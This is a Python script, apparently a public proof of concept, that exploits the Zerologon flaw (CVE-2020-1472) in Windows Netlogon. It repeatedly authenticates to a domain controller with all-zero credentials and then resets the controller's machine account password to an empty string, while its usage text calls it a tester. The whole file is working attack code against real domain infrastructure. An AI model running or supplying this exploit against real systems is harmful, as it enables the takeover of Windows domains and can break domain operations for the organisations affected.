cve-2020-1472-exploit.py

#!/usr/bin/env python3

from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto

import hmac, hashlib, struct, sys, socket, time
from binascii import hexlify, unhexlify
from subprocess import check_call

# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%

def fail(msg):
  print(msg, file=sys.stderr)
  print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
  sys.exit(2)

def try_zero_authenticate(dc_handle, dc_ip, target_computer):
  # Connect to the DC's Netlogon service.
  binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
  rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
  rpc_con.connect()
  rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

  # Use an all-zero challenge and credential.
  plaintext = b'\x00' * 8
  ciphertext = b'\x00' * 8

  # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
  flags = 0x212fffff

  # Send challenge and authentication request.
  nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
  try:
    server_auth = nrpc.hNetrServerAuthenticate3(
      rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
      target_computer + '\x00', ciphertext, flags
    )


    # It worked!
    assert server_auth['ErrorCode'] == 0
    return rpc_con

  except nrpc.DCERPCSessionError as ex:
    # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
    if ex.get_error_code() == 0xc0000022:
      return None
    else:
      fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
  except BaseException as ex:
    fail(f'Unexpected error: {ex}.')

def exploit(dc_handle, rpc_con, target_computer):
    request = nrpc.NetrServerPasswordSet2()
    request['PrimaryName'] = dc_handle + '\x00'
    request['AccountName'] = target_computer + '$\x00'
    request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator['Credential'] = b'\x00' * 8
    authenticator['Timestamp'] = 0
    request['Authenticator'] = authenticator
    request['ComputerName'] = target_computer + '\x00'
    request['ClearNewPassword'] = b'\x00' * 516
    return rpc_con.request(request)

def perform_attack(dc_handle, dc_ip, target_computer):
  # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
  print('Performing authentication attempts...')
  rpc_con = None
  for attempt in range(0, MAX_ATTEMPTS):
    rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)

    if rpc_con == None:
      print('=', end='', flush=True)
    else:
      break


  if rpc_con:
    print('\nTarget vulnerable, changing account password to empty string')
    result = exploit(dc_handle, rpc_con, target_computer)
    print('\nResult: ', end='')
    print(result['ErrorCode'])
    if result['ErrorCode'] == 0:
        print('\nExploit complete!')
    else:
        print('Non-zero return code, something went wrong?')
  else:
    print('\nAttack failed. Target is probably patched.')
    sys.exit(1)


if __name__ == '__main__':
  if not (3 <= len(sys.argv) <= 4):
    print('Usage: zerologon_tester.py <dc-name> <dc-ip>\n')
    print('Tests whether a domain controller is vulnerable to the Zerologon attack. Resets the DC account password to an empty string when vulnerable.')
    print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
    sys.exit(1)
  else:
    [_, dc_name, dc_ip] = sys.argv

    dc_name = dc_name.rstrip('$')
    perform_attack('\\\\' + dc_name, dc_ip, dc_name)